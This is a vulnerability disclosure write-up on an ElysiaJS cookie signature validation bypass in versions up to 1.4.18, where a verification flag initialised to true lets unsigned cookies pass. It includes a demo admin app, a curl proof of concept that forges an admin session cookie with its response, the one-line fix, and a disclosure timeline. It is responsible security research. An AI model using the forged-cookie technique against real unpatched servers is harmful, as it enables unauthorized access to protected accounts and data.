ElysiaJS Cookie Signature Validation Bypass

Table of Contents
- Intro Lore
- Elysia and Cookie Signing
- Vulnerability
- Proof of Concept
- The Fix
- Disclosure Timeline
- References
Intro Lore
The recent React CVE(s) made quite a buzz in the industry. It was a pretty powerful vulnerability, which directly leads to Pre-auth RCE (one of the most impactful vuln classes).

The React CVE inspired me to investigate vulnerabilities in other JS/TS frameworks. I selected Elysia as my target for several reasons: active maintenance, ~16K GitHub stars, clear documentation, and clean codebase - all factors that make for productive security research.

While scrolling through the codebase, one specific codeblock looked interesting:

It took me less than a minute to identify the "anti-pattern" here. Can you see what's wrong here? We'll get to it in a bit, but first, a little primer on ElysiaJS Cookie Signing.
Elysia and Cookie Signing
Elysia treats cookies as reactive signals, meaning they're mutable objects you can read and update directly in your route handlers without getters/setters. Cookie signing adds a cryptographic layer to prevent clients from modifying cookie values (e.g., escalating privileges in a session token). Elysia uses a signature appended to the cookie value, tied to a secret key. This ensures integrity (data wasn't altered) and authenticity (it came from your server).
On a higher level, it works something like this:
- Signing: When you set a cookie (e.g., profile.value = data), Elysia hashes the serialized value + secret, appends sig to the cookie.
- Unsigning/Verification: On read, Elysia checks the signature against the secret. If invalid (tampered or wrong secret), it throws an error or rejects the cookie.
Secrets Rotation
Rotating secrets is essential for security hygiene (e.g., after a potential breach or periodic refresh). Elysia handles this natively with multi-secret support.
- How It Works:
- Provide secrets as an array: [oldestDeprecated, ..., currentActive].
- Tries the latest secret first for signing new cookies. For reading, it falls back sequentially through the array until a match (or fails).
This code is responsible for handling cookie related logic (signing, unsigning, secrets rotation).
Vulnerability
Now, going back to the vulnerability, can you spot the vulnerability in the below screenshot? No worries if you couldn't. I will walk you through.

- Sets
decoded = true(assumes the cookie is valid before checking anything!) - Loops through each secret
- Calls
unsignCookie()for each secret - If any secret successfully verifies, sets
decoded = true(wait, it's alreadytrue- this does nothing), stores the unsigned value, and breaks - If no secrets verify, the loop completes naturally without ever modifying
decoded - Checks if
decodedisfalse... but it's stilltruefrom step 1 - No error is thrown - the tampered cookie is accepted as valid
The guard check at the end (if (!decoded) throw new InvalidCookieSignature(name)) becomes completely useless because decoded can never be false. This is dead code.
You see now? Basically if you are using the vulnerable version of Elysia and using secrets array (secrets rotation); Complete auth bypass is possible because InvalidCookieSignature error never gets thrown.
This seemed like a pretty serious issue, so I dropped a DM to Elysia's creator SaltyAom.

SaltyAom quickly confirmed the issue

At this point, we know that this is a valid issue, but we still need to create a PoC for it to showcase what it can do, so a security advisory could be created. Given my limited experience with Tyscript. I looked into the docs of Elysia and looked into sample snippets. After getting a decent understanding of syntax Elysia uses, it was time to create the PoC app using Elysia.
I had the basic idea in my mind of how my PoC app would look like, It will have a protected resource only admin can access, and by exploiting this vulnerability I should be able to reach the protected resource without authenticating as admin or without even having admin cookies.
Eventually, I came up with the following PoC for demonstrating impact:
import { Elysia, t } from 'elysia'
// Stores the admin password hash. If empty, no admin exists yet.
let adminHash = ''
const app = new Elysia({
cookie: {
secrets: ['my-secret-key'], // using secrets array
sign: ['session']
}
})
// Signup (Strict: "admin" only, and only once)
.post('/signup', async ({ body, set }) => {
// Check if trying to register a non-admin user
if (body.username !== 'admin') {
set.status = 403
return 'Forbidden: Only the username "admin" is allowed.'
}
// Check if admin is already registered
if (adminHash) {
set.status = 409 // Conflict
return 'Error: Admin user already exists.'
}
// Hash and store
adminHash = await Bun.password.hash(body.password)
return 'Admin registered successfully.'
}, {
body: t.Object({
username: t.String(),
password: t.String()
})
})
// Login
.post('/login', async ({ body, cookie: { session }, set }) => {
// Verify credentials
if (body.username !== 'admin' || !adminHash || !(await Bun.password.verify(body.password, adminHash))) {
set.status = 401
return 'Invalid admin credentials.'
}
// Success: Issue cookie
session.value = 'admin'
session.httpOnly = true
session.path = '/'
return 'Logged in as Admin.'
}, {
body: t.Object({
username: t.String(),
password: t.String()
})
})
// Secret Route only admin can reach
.get('/secret', ({ cookie: { session }, set }) => {
// Verify signed cookie value
if (session.value !== 'admin') {
set.status = 403
return 'Forbidden. Admins only.'
}
return 'SECRET_CONTENT: The launch codes are 1337-00-1337.'
})
.listen(3000)
console.log(`š¦ Admin App running at ${app.server?.url}`)
Proof of Concept
What It Does
- Allows one-time signup of an admin account only
- Allows an existing admin to log in.
- Issues a signed session cookie once logged in.
- Protects a secret route so only logged-in admin can access it.
Let's Break It
Without signing up as admin, or login, issue the following cURL command:
curl -i -X GET "http://localhost:3000/secret" -H "Cookie: session=admin"
Response:
HTTP/1.1 200 OK
content-type: text/plain;charset=utf-8
Date: Tue, 09 Dec 2025 21:49:25 GMT
Content-Length: 46
SECRET_CONTENT: The launch codes are 1337-00-1337.
We got access to protected content; without using an signed admin cookie.
Pretty slick, no?
The developer likely meant to write:
let decoded = false; // Guilty until proven innocent
Instead, they wrote:
let decoded = true; // Innocent until proven... always innocent
The attacker only needs to:
- Capture or observe one valid cookie (even their own)
- Edit the cookie value to some other users' identify in their browser or with curl; and remove the signature
- Send it back to the server
That's literally it.
The Fix
This vulnerability was fixed in v1.4.19


// Before (vulnerable)
let decoded = true;
// After (fixed)
let decoded = false;
With this fix in place, the verification logic now works correctly.
Disclosure Timeline
- Discovery: 9th December 2025
- Vendor Contact: 9th December 2025
- Vendor Response: 9th December 2025
- Patch Release: 13th December 2025
- CVE Assignment: Pending
Affected Versions: Elysia ⤠v1.4.18 (confirmed), potentially earlier versions
Fixed Versions: v1.4.19
References
- Vulnerable Code: src/cookies.ts#L413-L426
- Elysia Documentation: elysiajs.com
- Elysia Cookie Documentation: elysiajs.com/patterns/cookie